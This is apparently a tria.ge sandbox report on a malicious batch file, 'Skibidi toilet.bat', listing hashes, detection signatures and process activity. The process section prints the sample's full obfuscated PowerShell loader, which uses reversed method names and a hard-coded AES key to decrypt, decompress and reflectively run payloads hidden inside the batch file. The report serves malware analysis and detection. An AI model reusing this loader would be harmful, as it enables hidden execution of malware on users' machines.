Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Resubmissions

04/10/2024, 06:52

241004-hnclkazeqm 10

04/10/2024, 06:39

241004-hen81azbnm 10

Analysis

  • max time kernel
    121s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    04/10/2024, 06:39

General

  • Target

    Skibidi toilet.bat

  • Size

    394KB

  • MD5

    74b141f7f2a33f196ef5bc80271f9362

  • SHA1

    90bc22961bbf9bee09fc9781e09cc07539efdc9f

  • SHA256

    d045a5c4b8dde317db30177b67e8dbda3f96fe3932511da4b48c9727ee4300bb

  • SHA512

    b0444194e81a206241aa8b33e88fa7b6a1190b9a883e0d2a1348ba0dbb6938774c88a9f7dccb43dcf1b7b78fd1dad21c7e343d6e00e6cc479d509422ab1f4bc0

  • SSDEEP

    12288:8yC/peKGA87tHcAoKFaVxligFt7CeTGW4e:R2EKL87cQaRign+e

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\Skibidi toilet.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2352
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0zB5oNxw8ChOTR95+B7+FqMqcWMDZ3zXPUOZ3OFVNvI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1oecpyE1wbmZA6wwUszdsQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $EyndQ=New-Object System.IO.MemoryStream(,$param_var); $zsSyH=New-Object System.IO.MemoryStream; $pyawh=New-Object System.IO.Compression.GZipStream($EyndQ, [IO.Compression.CompressionMode]::Decompress); $pyawh.CopyTo($zsSyH); $pyawh.Dispose(); $EyndQ.Dispose(); $zsSyH.Dispose(); $zsSyH.ToArray();}function execute_function($param_var,$param2_var){ $biCMJ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $zPMku=$biCMJ.EntryPoint; $zPMku.Invoke($null, $param2_var);}$nJNeX = 'C:\Users\Admin\AppData\Local\Temp\Skibidi toilet.bat';$host.UI.RawUI.WindowTitle = $nJNeX;$fOqpF=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($nJNeX).Split([Environment]::NewLine);foreach ($gaYRM in $fOqpF) { if ($gaYRM.StartsWith('sfseDMVMVhMjxEnxjzbU')) { $gfrZZ=$gaYRM.Substring(20); break; }}$payloads_var=[string[]]$gfrZZ.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
      2⤵
        PID:1184
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2028

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/2028-4-0x000007FEF694E000-0x000007FEF694F000-memory.dmp

      Filesize

      4KB

    • memory/2028-5-0x000000001B610000-0x000000001B8F2000-memory.dmp

      Filesize

      2.9MB

    • memory/2028-6-0x0000000001F70000-0x0000000001F78000-memory.dmp

      Filesize

      32KB

    • memory/2028-8-0x000007FEF6690000-0x000007FEF702D000-memory.dmp

      Filesize

      9.6MB

    • memory/2028-7-0x000007FEF6690000-0x000007FEF702D000-memory.dmp

      Filesize

      9.6MB

    • memory/2028-10-0x000007FEF6690000-0x000007FEF702D000-memory.dmp

      Filesize

      9.6MB

    • memory/2028-9-0x000007FEF6690000-0x000007FEF702D000-memory.dmp

      Filesize

      9.6MB

    • memory/2028-11-0x000007FEF6690000-0x000007FEF702D000-memory.dmp

      Filesize

      9.6MB

    • memory/2028-12-0x000007FEF694E000-0x000007FEF694F000-memory.dmp

      Filesize

      4KB

    • memory/2028-13-0x000007FEF6690000-0x000007FEF702D000-memory.dmp

      Filesize

      9.6MB